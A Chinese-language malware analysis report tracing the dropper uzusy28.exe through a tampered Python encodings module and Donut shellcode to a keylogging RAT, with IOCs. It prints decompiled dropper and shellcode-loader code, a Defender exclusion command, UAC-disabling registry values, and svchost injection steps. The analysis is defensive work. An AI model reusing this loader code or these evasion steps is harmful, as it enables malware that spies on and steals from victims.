uzusy28.exe 恶意样本分析报告
基本信息
| 项目 |
内容 |
| 原始文件名 |
uzusy28.exe |
| 文件大小 |
21 MB |
| 文件类型 |
PE32 executable (GUI) Intel 80386 |
| 打包方式 |
PyInstaller 3.x / Python 3.10 |
| SHA1 |
3b0d4fd6968458c086e4e173050213fcfd05c4e5 |
| 分析日期 |
2026-04-17 |
执行摘要
近期捕获的uzusy28.exe 是一个经过多层嵌套的恶意载荷投放器,通过 PyInstaller 打包 Python 脚本,经过 7 层嵌套后最终释放并执行一个功能完整的远控木马(RAT)。攻击链涉及合法软件伪装、Python 标准库篡改、Donut shellcode 加载、进程注入、系统持久化等多种技术。是一个不错的分析对象。
攻击链总览
L1: uzusy28.exe (PyInstaller 打包, 21MB)
├── L2: oo.pyc (入口脚本)
│ └── L3: dd.pyc (包含加密 7z, 密码 "2026")
│ └── L4: wefault.exe (外层, 合法 mgodb 改名)
│ └── L5: app-xxx/wefault.exe (内层, pythonw.exe)
│ └── L6: python310.zip/encodings/__init__.pyc (被篡改)
│ └── L7: shellcode.bin (Donut Shellcode #1)
│ └── L8: fsch.dll (投放器/loader, 导出 f)
│ └── L9: base32.pyc → shellcode.bin2 (Donut Shellcode #2)
│ └── L10: RAT DLL (远控主体, 导出 run)
第一层:uzusy28.exe
基本信息
- 大小: 21 MB
- 类型: PyInstaller 打包的 Python 3.12 可执行文件(外层)
- 行为: PyInstaller 自解压到临时目录,执行入口脚本
oo.pyc
分析方法
可以参考我之前的帖子,直接在线解包,也可以使用 pyinstxtractor 解包,提取内部 .pyc 文件。
第二层:oo.pyc(入口脚本)
基本信息
- 来源: PyInstaller 解包后的入口点
- 行为: 反编译后确认为恶意入口脚本
- 功能: 调用
dd.pyc 模块,触发后续攻击链
分析方法
由于使用的是python3.12打包,必须使用pylingual,直接反编译可以获得结果。从反编译的代码中可以看出来从dd模块中导入了data,然后通过7z解压到可疑目录。
import io
import py7zr
import ctypes
from dd import data
def decompress_7z_from_memory():
source_data = data
memory_file = io.BytesIO(source_data)
password = '2026'
target_dir = 'C:/programdata/python'
with py7zr.SevenZipFile(memory_file, mode='r', password=password) as archive:
archive.extractall(path=target_dir)
except py7zr.exceptions.PasswordRequired:
print('错误:该压缩包需要密码。')
except py7zr.exceptions.Bad7zFile:
print('错误:不是有效的 7z 文件或密码错误。')
except Exception as e:
print(f'发生意外错误: {e}')
if __name__ == '__main__':
hwnd = ctypes.windll.kernel32.GetConsoleWindow()
ctypes.windll.user32.ShowWindow(hwnd, 0)
decompress_7z_from_memory()
try:
ctypes.windll.shell32.ShellExecuteW(None, 'open', 'C:\\programdata\\python\\wefault.exe', '', None, 1)
except:
# return None
pass
第三层:dd.pyc(加密压缩包释放器)
基本信息
- 来源: PYZ 压缩包内提取的模块
- 行为: 内嵌一个 7z 压缩包,密码为
2026,见上面行为
- 功能: 解压并释放后续载荷到目标路径
第四层:wefault.exe(外层 — 合法软件伪装)
基本信息
- 原始软件: 合法的 MongoDB 数据库工具(mgodb)
- 伪装手段: 改名为
wefault.exe,伪装成系统相关程序
- 功能: 作为启动器,运行
app-xxx 目录下的同名文件 wefault.exe(内层)
分析方法
通过数字签名知道这个是合法的工具,被利用了,通过ida反编译这个工具知道他的具体行为是启动app-xxx目录下的同名应用,这个启动器没有进行任何校验,这也给攻击者利用的空间
第五层:wefault.exe(内层 — pythonw.exe)
基本信息
- 实质: Python 3.10 的
pythonw.exe(无控制台窗口的 Python 解释器)
- 行为: 启动后加载
python310.zip 中的 Python 标准库
- 关键点: 标准库
encodings 模块已被攻击者篡改
分析方法
最初也通过ida对这个文件进行分析,但最终发现这个文件没有问题,问题在下面,攻击者添加了一个恶意的pyc文件,实现自动加载恶意载荷。
第六层:encodings/init.pyc(被篡改的 Python 标准库)
基本信息
- 来源:
python310.zip 内的 encodings/__init__.pyc
- 篡改方式: 在标准
encodings 模块中嵌入了恶意 shellcode 和加载逻辑
- 行为: Python 初始化时自动加载
encodings 模块,恶意代码随系统启动自动执行
- 隐蔽性: 利用 Python 标准库加载机制,不在主脚本中出现任何可疑代码
注意这个大小和修改日期
触发方式
Python 解释器启动时会自动 import encodings 模块,因此恶意代码在 Python 初始化阶段即被执行,无需显式调用。
分析方法
下面是反编译后的代码,因为是python3.10,多种反编译都可以。从反编译的代码中能看到清晰的恶意行为,通过创建可执行内存映射区域准备加载并执行一段Shellcode,属于典型的无文件内存注入技术框架。
import ctypes
from ctypes import wintypes
shellcode = b'xxx'
INVALID_HANDLE_VALUE = -1
PAGE_EXECUTE_READWRITE = 64
FILE_MAP_WRITE = 2
FILE_MAP_EXECUTE = 32
MEM_COMMIT = 4096
MEM_RESERVE = 8192
kernel32 = ctypes.windll.kernel32
CreateFileMapping = kernel32.CreateFileMappingW
CreateFileMapping.argtypes = [
wintypes.HANDLE,
ctypes.c_void_p,
wintypes.DWORD,
wintypes.DWORD,
wintypes.DWORD,
wintypes.LPCWSTR]
CreateFileMapping.restype = wintypes.HANDLE
MapViewOfFile = kernel32.MapViewOfFile
MapViewOfFile.argtypes = [
wintypes.HANDLE,
wintypes.DWORD,
wintypes.DWORD,
wintypes.DWORD,
ctypes.c_size_t]
MapViewOfFile.restype = ctypes.c_void_p
UnmapViewOfFile = kernel32.UnmapViewOfFile
UnmapViewOfFile.argtypes = [
ctypes.c_void_p]
UnmapViewOfFile.restype = wintypes.BOOL
CloseHandle = kernel32.CloseHandle
CloseHandle.argtypes = [
wintypes.HANDLE]
CloseHandle.restype = wintypes.BOOL
def execute_shellcode(shellcode):
hMapObject = CreateFileMapping(INVALID_HANDLE_VALUE, None, PAGE_EXECUTE_READWRITE, 0, len(shellcode), None)
pAddress = MapViewOfFile(hMapObject, FILE_MAP_WRITE | FILE_MAP_EXECUTE, 0, 0, len(shellcode))
execute_shellcode(shellcode)
第七~八层:Donut Shellcode #1 → fsch.dll
shellcode.bin 基本信息
- 大小: 257 KB
- 加密方式: Donut framework 的 Chaskey-CTR 加密(这个可以写一篇新的文章进行讲解,在这里不是重点)
- 反分析: 内含 AMSI bypass、ETW bypass 等对抗机制
fsch.dll 基本信息
| 项目 |
内容 |
| 提取文件名 |
fsch.dll |
| 大小 |
172 KB |
| 架构 |
AMD64 PE32+ (DLL) |
| 导出函数 |
f (RVA 0x176C) |
| 编译器 |
MSVC |
fsch.dll 恶意行为详细分析
1. 提权与重启
ShellExecuteExA("runas") → 非管理员时请求管理员权限重新启动自身
2. 创建伪装目录与快捷方式
- 创建目录:
C:\ProgramData\Tencent\Tencent(伪装腾讯软件)
- 创建快捷方式:
KOOK.lnk → 指向 wefault.exe(伪装 KOOK 聊天软件)
3. 反杀软检测
- 使用
CreateToolhelp32Snapshot 遍历进程列表
- 查找
360tray.exe(360 安全卫士)
- 根据检测结果调整后续行为
4. 关闭 Windows Defender
powershell Add-MpPreference -ExclusionPath 'C:\'
将 C:\ 整个盘符加入 Defender 排除路径。
5. 禁用 UAC(用户账户控制)
修改注册表键值:
| 注册表路径 |
值名 |
设为 |
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System |
EnableLUA |
0 |
| 同上 |
ConsentPromptBehaviorAdmin |
0 |
| 同上 |
PromptOnSecureDesktop |
0 |
6. 修改 Startup 注册表
将 Startup 文件夹指向攻击者控制的目录:
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup
→ C:\ProgramData\Tencent\Tencent
7. 创建计划任务持久化
- 任务名称:
\Microsoft\MicrosoftUpdate
- 触发条件: 系统启动 + 用户登录
- 执行目标:
C:\ProgramData\Python\wefault.exe
- 创建方式: 通过 RPC
\pipe\atsvc(直接调用任务计划程序 RPC 接口)
8. 加载最终载荷
到这里链路就是完整的了,最开始一直疑惑不知道谁调用了外层的shellcode,原来这里调用了。
sub_180001344:
CreateFileW("C:\ProgramData\Python\base32.pyc")
→ CreateFileMappingW(PAGE_EXECUTE_READWRITE)
→ MapViewOfFile
→ 读取文件内容到可执行内存
→ 跳转执行 (base32.pyc 即为第二层 shellcode)
关键辅助函数
| 函数地址 |
功能 |
sub_18000110C |
检测 360tray.exe 进程 |
sub_180001280 |
检查持久化是否已设置 |
sub_180001428 |
通过 RPC 创建计划任务 |
sub_180001560 |
禁用 UAC(修改 3 个注册表值) |
sub_18000163C |
PowerShell 关闭 Defender |
sub_180001344 |
读取 base32.pyc 到可执行内存并执行 |
sub_1800011A8 |
创建 KOOK.lnk 快捷方式 |
sub_18000105C |
COM 接口操作(防火墙相关) |
第九~十层:Donut Shellcode #2 → RAT DLL
shellcode.bin2 基本信息
- 来源:
base32.pyc(由 fsch.dll 通过 sub_180001344 加载到 RWX 内存执行)
- 大小: 373 KB(Donut 实例 292 KB)
- 加密方式: Donut Chaskey-CTR(不同密钥)
- 在磁盘上的路径:
C:\ProgramData\Python\base32.pyc
RAT DLL 基本信息
| 项目 |
内容 |
| 提取文件名 |
rat.dll |
| 大小 |
288 KB |
| 架构 |
AMD64 PE32+ (DLL) |
| 导出函数 |
run (RVA 0x11800) |
| 编译器 |
MSVC (含 Dinkumware STL, C++ 异常处理) |
| 时间戳 |
0x69BFC7DE |
类结构 (RTTI)
| 类名 |
功能 |
CManager |
主管理器,命令调度中心 |
CLoginManager |
登录管理,会话建立与认证 |
CTcpSocket |
TCP 传输通道 |
CUdpSocket |
UDP/KCP 传输通道 |
CArqSessionT<CUdpSocket> |
基于 KCP 的可靠 UDP 传输会话 |
CBuffer |
数据缓冲区 |
CImage / Gdiplus Bitmap |
屏幕截图处理 |
导出函数 run 分析 (RVA 0x11800)
- 调用
GetComputerNameW 获取计算机名
- 创建互斥量
Global\Mutex_<hostname> 防止重复运行
- 检测火绒杀软:
GetFileAttributesA("C:\Program Files\Huorong\Sysdiag\bin\HipsDaemon.exe")
- 通过 DNS-over-HTTPS 解析 C2 地址:
https://223.5.5.5/resolve?name=fachuoifachuoi.com&type=A
- 解析成功: 使用返回的 IP
- 解析失败: 回退到硬编码地址
43.154.90.28
- 创建主线程
StartAddress
主线程 StartAddress (0x180011070)
- 提权:
OpenProcessToken + AdjustTokenPrivileges → 获取 SeDebugPrivilege
NtSetInformationProcess(ProcessBreakOnTermination=1) → 防止进程被任务管理器终止
- 初始化延迟: 从配置读取延迟秒数
- 可选线程:
sub_180009790: 进程守护线程(监控注入的 svchost.exe,若退出则重新注入)
sub_180009190: SeDebugPrivilege 提权 + NtSetInformationProcess
- 初始化传输对象:
CTcpSocket (0x18 字节): TCP 传输通道
CUdpSocket (0x368 字节): KCP/UDP 传输通道
- 连接循环:
- 交替使用两组 C2 配置
- 每 200 次尝试后切换到备用地址
- 连接成功后进入命令处理循环
C2 通信协议
| 项目 |
详情 |
| 主 C2 地址 |
43.154.90.28(腾讯云) |
| 备用 C2 解析 |
DNS-over-HTTPS: https://223.5.5.5/resolve?name=fachuoifachuoi.com&type=A(阿里 DNS 223.5.5.5) |
| User-Agent |
DNS-Agent |
| 传输协议 |
TCP(模式 1)或 KCP/UDP(模式 0),运行时可切换 |
| 备用配置格式 |
p1/o1/t1、p2/o2/t2、p3/o3/t3 三组备份 C2(p=地址, o=端口, t=传输类型) |
| 心跳机制 |
命令 ID 0x09,发送字节 0x15 |
| 上线数据 |
4732 字节系统信息 |
上线信标数据 (sub_180006F60)
连接 C2 成功后,收集并发送以下系统信息(共 4732 字节):
| 数据 |
收集方式 |
| IP 地址列表 |
gethostname + gethostbyname + inet_ntoa |
| 空闲时间 |
GetLastInputInfo + GetTickCount |
| 主机名 |
gethostname |
| 硬件信息 |
GetCurrentHwProfileW (GUID) |
| CPU 核心数 |
GetNativeSystemInfo |
| 磁盘/内存 |
GetDiskFreeSpaceExW + GlobalMemoryStatusEx |
| GPU/显示器 |
DXGI CreateDXGIFactory 枚举适配器和分辨率 |
| 前台窗口标题 |
GetForegroundWindow + GetWindowTextW |
| OS 架构 |
GetNativeSystemInfo (x86/x64) |
| 当前进程路径 |
GetProcessImageFileNameW |
| 系统目录 |
GetSystemDirectoryW |
| 区域设置 |
GetLocaleInfoW |
| 版本号 |
硬编码 "1.0" |
| 安装时间 |
time64 + tick count 计算 |
C2 命令表 (sub_18000D390)
| 命令 ID |
功能 |
详细说明 |
| 0x00 |
插件管理 |
按名称匹配加载/卸载/更新模块,通过名称比对查找已加载插件 |
| 0x01 |
安装插件 |
接收插件数据,存入注册表 HKCU\Console\1,启动插件执行线程 |
| 0x02 |
断开重连 |
销毁当前 socket 连接,触发重连循环 |
| 0x03 |
交互会话 |
开启交互式会话模式 |
| 0x04 |
屏幕截图 |
通过 DXGI + GDI+ 截取屏幕,返回图像数据 |
| 0x05 |
文件管理 |
远程文件浏览器,支持浏览/上传/下载/删除等操作 |
| 0x06 |
交互终端 |
启动命令行 shell,支持实时交互 |
| 0x07 |
设置标签 |
设置 GROUP 或 REMARK 标识(区分受害者) |
| 0x08 |
远程命令执行 |
执行指定命令 |
| 0x09 |
心跳 |
返回字节 0x15 |
| 0x0A |
截屏(带参数) |
指定宽高的屏幕截图 |
| 0x0B |
清除事件日志 |
清除 Application、Security、System 三类 Windows 事件日志 |
| 0x0C |
触发异常 |
调用 TopLevelExceptionFilter 测试异常处理 |
| 0x0D |
退出进程 |
ExitProcess(0) |
| 0x0E |
注销 |
ExitWindowsEx(EWX_LOGOFF) |
| 0x0F |
重启 |
ExitWindowsEx(EWX_REBOOT) |
| 0x10 |
关机 |
ExitWindowsEx(EWX_SHUTDOWN) |
| 0x11 |
切换传输模式 |
TCP ↔ UDP/KCP 模式切换 |
| 0x12 |
更新 C2 配置 |
解析 p1/o1/t1 ~ p3/o3/t3 三组备份地址,存入注册表 HKCU\Console\IpDate |
| 0x13 |
反向连接 |
启动新的反向连接会话到指定地址 |
| 0x64 |
存储标记 |
写入 HKCU\Console\IpDatespecial |
| 0x65 |
删除标记 |
删除 IpDatespecial 注册表值 |
| 0xC9 |
交互模式切换 |
开启/关闭交互式会话 |
| 0xCA |
发送确认 |
发送确认字节 (0xCB) |
键盘记录模块 (sub_1800119B0 + sub_180011DC0)
初始化 (sub_1800119B0)
- 获取
%LOCALAPPDATA% 路径
- 创建日志文件:
%LOCALAPPDATA%\DisplaySessionContainers.log
- 创建互斥量保护日志文件访问
- 检查日志文件大小,超过 50MB (0x3200000) 则删除
- 初始化 DirectInput8 (DirectX 输入系统)
- 设置键盘设备: 60 键缓冲区,数据格式 c_dfDIKeyboard
- 设置合作级别:
DISCL_BACKGROUND | DISCL_NONEXCLUSIVE(后台静默记录)
- 获取 CapsLock 状态 (
GetKeyState(VK_CAPITAL=20))
主记录循环 (sub_180011DC0)
while (true):
Sleep(1)
// 剪贴板监控 (每 1.5 秒)
if GetTickCount() - last_check > 1500ms:
OpenClipboard(0)
data = GetClipboardData(CF_UNICODETEXT)
if data 变化:
格式化并发送剪贴板内容到 C2
CloseClipboard()
// 键盘状态轮询
DirectInput.GetDeviceData(24 bytes per event)
解析 102 个虚拟键码
查表转换 scancode → 字符(含 Shift/CapsLock 状态处理)
累积按键到缓冲区
// 发送按键数据
if 缓冲区非空:
发送到 C2
清空缓冲区
键盘映射表
- 使用 102 键映射表,每个条目 62 字节(包含基础键、Shift 键、CapsLock 键的字符)
- 特殊处理: Shift 键 (scancode 41/53)、CapsLock 键 (scancode 57)
- 日志文件:
%LOCALAPPDATA%\DisplaySessionContainers.log
进程注入与守护 (sub_1800093D0)
svchost.exe 注入流程
1. GetSystemDirectoryA → 获取系统目录 (截取前3字符,如 "C:\")
2. 构造路径: "<盘符>Windows\System32\svchost.exe"
3. CreateProcessA(suspended, CREATE_SUSPENDED|CREATE_NO_WINDOW)
4. OpenProcess(PROCESS_ALL_ACCESS)
5. 准备注入数据 (v17, 304 bytes):
- [0] GetProcAddress(WinExec) → 执行程序
- [1] GetProcAddress(OpenProcess) → 打开进程
- [2] GetProcAddress(ExitProcess) → 退出进程
- [3] GetProcAddress(WaitForSingleObject) → 等待
- [4] GetCurrentProcessId() → 主进程 PID
- [6] GetModuleFileNameA() → 主程序完整路径
6. VirtualAllocEx(0x130, RWX) → 在 svchost 中分配内存
7. WriteProcessMemory(注入数据)
8. VirtualProtectEx(PAGE_READONLY) → 设为只读保护
9. VirtualAllocEx(0x1000, RWX) → 分配代码段内存
10. WriteProcessMemory(shellcode: sub_1800092A0)
11. VirtualProtectEx(PAGE_READONLY) → 保护代码段
12. CreateRemoteThread(entry=shellcode, param=注入数据, CREATE_SUSPENDED)
13. Sleep(60秒)
14. VirtualProtectEx(RWX) → 解除保护
15. ResumeThread() → 启动远程线程
注入的 shellcode 逻辑 (sub_1800092A0)
1. 从参数中读取函数指针:
- WinExec (偏移 0)
- OpenProcess (偏移 8)
- ExitProcess (偏移 16)
- WaitForSingleObject (偏移 24)
2. OpenProcess(PROCESS_ALL_ACCESS, FALSE, 主进程PID)
→ 获取主进程句柄
3. WaitForSingleObject(主进程句柄, INFINITE)
→ 等待主进程退出
4. WinExec(主程序路径, SW_HIDE)
→ 主进程被杀后,自动重新启动恶意程序
5. ExitProcess(0)
→ 退出 svchost 宿主
效果: 当用户或杀软终止恶意进程时,注入在 svchost.exe 中的代码会立即重新启动恶意程序,形成进程守护机制。
注册表持久化
| 注册表路径 |
值名 |
用途 |
HKCU\Console\IpDate |
(Default) |
C2 通信配置(含 3 组备份地址) |
HKCU\Console\IpDatespecial |
(Default) |
特殊标记(4 字节 DWORD) |
HKCU\Console\1 |
<插件名> |
存储的插件/任务数据(每个注册表值 = 一个插件实例) |
会话管理 (sub_18000CFB0)
当收到配置更新命令或反向连接命令时:
- 解析配置字符串,提取
p1/o1/t1(地址/端口/类型)
- 根据传输类型创建
CTcpSocket(type=1) 或 CUdpSocket(type=0)
- 连接指定 C2 地址
- 创建
CManager + CLoginManager 会话
- 从注册表
HKCU\Console\1 加载所有已保存的插件
- 发送上线信标
- 进入命令处理循环
插件加载机制 (sub_18000CBC0)
- 检查是否为
onlyloadinmyself 模式(仅加载自身进程内的模块)
- 在目标内存中搜索
plugmark 标记
- 将插件数据写入标记位置
- 通过
sub_180010960 + sub_180010DA0 解析并执行插件
- 向 C2 返回执行结果
完整攻击链时序图
[用户运行 uzusy28.exe]
│
▼
[PyInstaller 自解压到临时目录]
│
▼
[执行 oo.pyc] ← Python 入口脚本
│
▼
[调用 dd.pyc] ← 解压内嵌 7z (密码 "2026")
│
▼
[释放 wefault.exe (外层)] ← 合法 mgodb 改名
│
▼
[启动 app-xxx/wefault.exe (内层)] ← pythonw.exe
│
▼
[Python 自动加载 encodings 模块]
│
▼
[encodings/__init__.pyc 执行恶意代码]
│
▼
[Donut Shellcode #1 解密执行]
│
▼
[fsch.dll (导出 f) 执行]
│
├── 请求管理员权限 (runas)
├── 创建 C:\ProgramData\Tencent\Tencent 目录
├── 创建 KOOK.lnk 快捷方式
├── 检测 360 杀软
├── 关闭 Windows Defender (排除 C:\)
├── 禁用 UAC (3个注册表值)
├── 修改 Startup 注册表
├── 创建计划任务 \Microsoft\MicrosoftUpdate
│
▼
[读取 base32.pyc 到 RWX 内存并执行]
│
▼
[Donut Shellcode #2 解密执行]
│
▼
[RAT DLL (导出 run) 执行]
│
├── 提权: SeDebugPrivilege + ProcessBreakOnTermination
├── 检测火绒杀软 (HipsDaemon.exe)
├── DNS-over-HTTPS 解析 C2
├── 连接 43.154.90.28 (TCP/KCP)
├── 发送系统信息 (4732 bytes)
├── 等待 C2 命令
│ ├── 屏幕截图
│ ├── 键盘记录 (DirectInput8)
│ ├── 剪贴板监控
│ ├── 文件管理
│ ├── 远程命令执行
│ ├── 进程注入 (svchost.exe 守护)
│ ├── 清除事件日志
│ ├── 系统电源控制
│ └── 插件加载与管理
│
└── [持续运行,等待指令]
IOC (入侵指标)
文件
| 文件名/路径 |
类型 |
uzusy28.exe |
原始投放器 |
wefault.exe (外层) |
合法软件伪装 (mgodb) |
wefault.exe (内层) |
pythonw.exe 伪装 |
C:\ProgramData\Python\base32.pyc |
第二层 shellcode |
C:\ProgramData\Python\wefault.exe |
恶意程序副本 |
C:\ProgramData\Tencent\Tencent\KOOK.lnk |
伪装快捷方式 |
%LOCALAPPDATA%\DisplaySessionContainers.log |
键盘记录日志 |
网络
| 指标 |
值 |
| C2 IP |
43.154.90.28 (腾讯云) |
| C2 域名 |
fachuoifachuoi.com |
| DoH 服务器 |
223.5.5.5 (阿里 DNS) |
| DoH URL |
https://223.5.5.5/resolve?name=fachuoifachuoi.com&type=A |
| User-Agent |
DNS-Agent |
| 默认端口 |
9999 |
注册表
| 注册表路径 |
值名 |
说明 |
HKCU\Console |
IpDate |
C2 配置数据 |
HKCU\Console |
IpDatespecial |
特殊标记 |
HKCU\Console\1 |
(多个值) |
存储的插件/任务 |
HKLM\...\Policies\System |
EnableLUA |
设为 0 (禁用 UAC) |
HKLM\...\Policies\System |
ConsentPromptBehaviorAdmin |
设为 0 |
HKLM\...\Policies\System |
PromptOnSecureDesktop |
设为 0 |
互斥量
| 互斥量名称 |
用途 |
Global\Mutex_<hostname> |
RAT 防重复运行 |
计划任务
| 任务路径 |
触发 |
执行 |
\Microsoft\MicrosoftUpdate |
开机 + 登录 |
C:\ProgramData\Python\wefault.exe |
分析环境
| 项目 |
详情 |
| 静态分析 |
IDA Pro 9.3 + MCP 插件 |
| 动态分析 |
x64dbg + MCP 插件 |
| PyInstaller 解包 |
pyinstxtractor |